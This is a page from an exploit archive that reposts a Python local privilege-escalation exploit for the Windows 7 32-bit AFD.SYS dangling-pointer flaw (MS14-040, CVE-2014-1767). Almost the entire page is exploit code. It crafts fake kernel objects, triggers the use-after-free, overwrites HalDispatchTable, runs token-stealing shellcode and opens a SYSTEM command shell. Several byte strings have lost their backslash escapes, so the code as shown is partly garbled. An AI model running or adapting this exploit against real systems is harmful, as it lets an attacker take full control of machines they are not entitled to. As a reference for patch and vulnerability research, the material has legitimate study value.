Home / os / winmobile

Microsoft AFD.SYS Dangling Pointer Privilege Escalation

Posted on 17 February 2016

# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer # Date: 2016-02-05 # Exploit Author: Rick Larabee # Vendor Homepage: www.microsoft.com # Version: Windows 7, 32 bit # Tested on: Win7 x32 # afd.sys - 6.1.7600.16385 # ntdll.dll - 6.1.7600.16385 # # CVE : CVE-2014-1767 # Category: Local Privilege Escalation # References: # http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf # http://ricklarabee.blogspot.com/ # https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/ # https://technet.microsoft.com/en-us/library/security/ms14-040.aspx # http://www.cvedetails.com/cve/CVE-2014-1767/ # # Greetz: PWN4GEPWN1E, SecurityMook from ctypes import * import socket, time, os, struct, sys from ctypes.wintypes import HANDLE, DWORD kernel32 = windll.kernel32 ntdll = windll.ntdll Psapi = windll.Psapi MEMRES = (0x1000 | 0x2000) PAGEEXE = 0x00000040 Zerobits = c_int(0) RegionSize = c_int(0x1000) written = c_int(0) FakeObjSize = 0xA0 GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 GENERIC_EXECUTE = 0x20000000 GENERIC_ALL = 0x10000000 INVALID_HANDLE_VALUE = -1 WSAGetLastError = windll.Ws2_32.WSAGetLastError WSAGetLastError.argtypes = () WSAGetLastError.restype = c_int SOCKET = c_int WSASocket = windll.Ws2_32.WSASocketA WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD) WSASocket.restype = SOCKET closesocket = windll.Ws2_32.closesocket closesocket.argtypes = (SOCKET,) closesocket.restype = c_int connect = windll.Ws2_32.connect connect.argtypes = (SOCKET, c_void_p, c_int) connect.restype = c_int class sockaddr_in(Structure): _fields_ = [ ("sin_family", c_short), ("sin_port", c_ushort), ("sin_addr", c_ulong), ("sin_zero", c_char * 8), ] def findSysBase(drvname=None): ARRAY_SIZE = 1024 myarray = c_ulong * ARRAY_SIZE lpImageBase = myarray() cb = c_int(1024) lpcbNeeded = c_long() drivername_size = c_long() drivername_size.value = 48 Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded)) for baseaddy in lpImageBase: drivername = c_char_p("x00"*drivername_size.value) if baseaddy: Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername, drivername_size.value) if drvname: if drivername.value.lower() == drvname: print "[+] Retrieving %s info..." % drvname print "[+] %s base address: %s" % (drvname, hex(baseaddy)) return baseaddy else: if drivername.value.lower().find("krnl") !=-1: print "[+] Retrieving Kernel info..." print "[+] Kernel version:", drivername.value print "[+] Kernel base address: %s" % hex(baseaddy) return (baseaddy, drivername.value) return None def CreateBuffer1(): inbuf1size = 0x30 virtualAddress = 0x18888888 length = 0x20000 inbuf1 = "x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a inbuf1 += struct.pack("L", length) #0x20 inbuf1 += "x00" * 0x8 + "x01" inbuf1 += "x00" * (inbuf1size - len(inbuf1)) baseadd = c_int(0x1001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written)) def CreateBuffer2(): inbuf2size = 0x10 addrforbuf2 = 0x0AAAAAAA inbuf2 = "x01x00x00x00" inbuf2 += struct.pack("L", addrforbuf2) inbuf2 += "x00" * (inbuf2size -len(inbuf2)) baseadd = c_int(0x2001) dwStatus = ntdll.NtAllocateVirtualMemory(-1, byref(baseadd), 0x0, byref(RegionSize), MEMRES, PAGEEXE) kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written)) def CreateFakeObject(): print "[+] Print creating fakeobject" fakeobject2addr = 0x2200 fakeobject2 = "x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C) fakeobj2size = len(fakeobject2) kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written)) objhead = ("x00x00x00x00xa8x00x00x00" "x00x00x00x00x00x00x00x00" "x01x00x00x00x01x00x00x00" "x00x00x00x00x16x00x08x00" "x00x00x00x00x00x00x00x00") fakeobject = objhead fakeobject += struct.pack("L", fakeobject2addr) + "x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4) fakeobject += "x41" * (FakeObjSize - len(fakeobject)) kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written)) print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print " [+] GO!" (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("halmacpi.dll") OS = "7" if OS == "7": HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7 _KPROCESS = "x50" _TOKEN = "xf8" _UPID = "xb4" _APLINKS = "xb8" print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation) IoStatus = c_ulong() IoStatusBlock = c_ulong() CreateBuffer1() CreateBuffer2() CreateFakeObject() inbuf1 = 0x1000 inbuf2 = 0x2000 hWF = HANDLE(0) FakeWorkerFactoryADDR = 0x2100 # Trigger 1 # afd!afdTransmitFile ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0) CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0)) ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0) hWFaddr = hWF print "[+] WorkerFactoryHandle:", hWF.value hWFaddr = int(addressof(hWF)) shellcode_address = 0x00020700 padding = "x90"*2 HalDispatchTable0x4 = HalDispatchTable + 0x4 _WFValue = struct.pack("L", hWFaddr) sc_pointer = struct.pack("L", shellcode_address+0x4) restore_ptrs = "x31xc0" + "xb8" + struct.pack("L", HaliQuerySystemInformation) + "xa3" + struct.pack("L", HalDispatchTable0x4) tokenstealing = "x52" + "x53" + "x33xc0" + "x64x8bx80x24x01x00x00" + "x8bx40" + _KPROCESS + "x8bxc8" + "x8bx98" + _TOKEN + "x00x00x00" + "x89x1dx00x09x02x00" + "x8bx80" + _APLINKS + "x00x00x00" + "x81xe8" + _APLINKS + "x00x00x00" + "x81xb8" + _UPID + "x00x00x00x04x00x00x00" + "x75xe8" + "x8bx90" + _TOKEN + "x00x00x00" + "x8bxc1" + "x89x90" + _TOKEN + "x00x00x00" fixobjheaders = "x33xC0" + "x64x8Bx80x24x01x00x00" + "x8Bx40x50" + "x8Bx80xF4x00x00x00" + "x8BxD8" + "x8Bx00" + "x8Bx0D" + _WFValue + "x83xE1xFC" + "x03xC9" + "x03xC1" + "xC7x00x00x00x00x00" + "x83xC3x30" + "x8BxC3" + "x8Bx1B" + "x83xEBx01" + "x89x18" + "x5B" + "x5A" + "xC2x10x00" shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size = len(shellcode) orig_size = shellcode_size startPage = c_int(0x00020000) kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written)) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0) ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False) ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ; inp = c_ulong() out = c_ulong() inp = 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\windows\system32")

 

TOP